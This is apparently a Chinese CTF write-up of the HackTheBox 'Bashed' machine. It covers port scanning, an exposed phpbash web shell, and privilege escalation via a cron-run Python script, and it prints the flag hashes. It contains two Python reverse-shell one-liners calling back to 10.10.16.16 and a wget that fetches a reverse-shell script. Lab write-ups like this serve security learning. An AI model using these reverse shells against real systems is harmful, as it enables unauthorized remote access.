[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升

Information Gathering

IP Address Opening Ports
10.10.10.68 TCP:80

$ sudo masscan -p1-65535,U:1-65535 10.10.10.68 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
$ nmap -Pn -sV -sC -p$ports 10.10.10.68

bash 复制代码
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

PHP Bash

$ dirsearch -u http://10.10.10.68

http://10.10.10.68/dev/

http://10.10.10.68/dev/phpbash.php

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.16",445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

User.txt

8f7df2f47989e214ab11a888ee378946

www-data to scriptmanager

$ sudo -l

$ sudo -u scriptmanager ./reverse.sh

Privilege Escalation : Python cron jobs

$ ./pspy32

$ cd /scripts;touch 1.py

python 复制代码
import os,pty,socket;s=socket.socket();s.connect(("10.10.16.16",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")

$ wget http://10.10.16.16/reverse.py

Root.txt

96c6dadfc0c09eb783c4d2e614205ef9

相关推荐
Lucas_coding4 分钟前
【Claude Code Router】 Claude Code 兼容 OpenAI 格式 API, Claude code 接入本地部署模型
人工智能·python
测试员周周8 分钟前
【AI测试系统】第5篇:从 Archon 看 AI 工程化落地:为什么"确定性编排+AI 弹性智能"是终局?
人工智能·python·测试
大飞记Python1 小时前
【2026更新】Python基础学习指南(AI版)——04数据类型
开发语言·人工智能·python
云云只是个程序马喽1 小时前
AI漫剧创作系统开发定制指南
人工智能·小程序·php
Hello eveybody2 小时前
介绍一下背包DP(Python)
开发语言·python·动态规划·dp·背包dp
2301_795099742 小时前
让 CSS Grid 自适应容器尺寸的动态布局方案
jvm·数据库·python
呆萌的代Ma2 小时前
python读取并加载.env的配置文件
python
Muyuan19982 小时前
27.RAG 系统中的上下文充分性判断:从 Chunk 数量、FAISS 距离到 LLM Relevance Gate
python·django·pdf·fastapi·faiss
U盘失踪了3 小时前
python curl转python脚本
开发语言·chrome·python
FQNmxDG4S3 小时前
Java泛型编程:类型擦除与泛型方法的应用场景
java·开发语言·python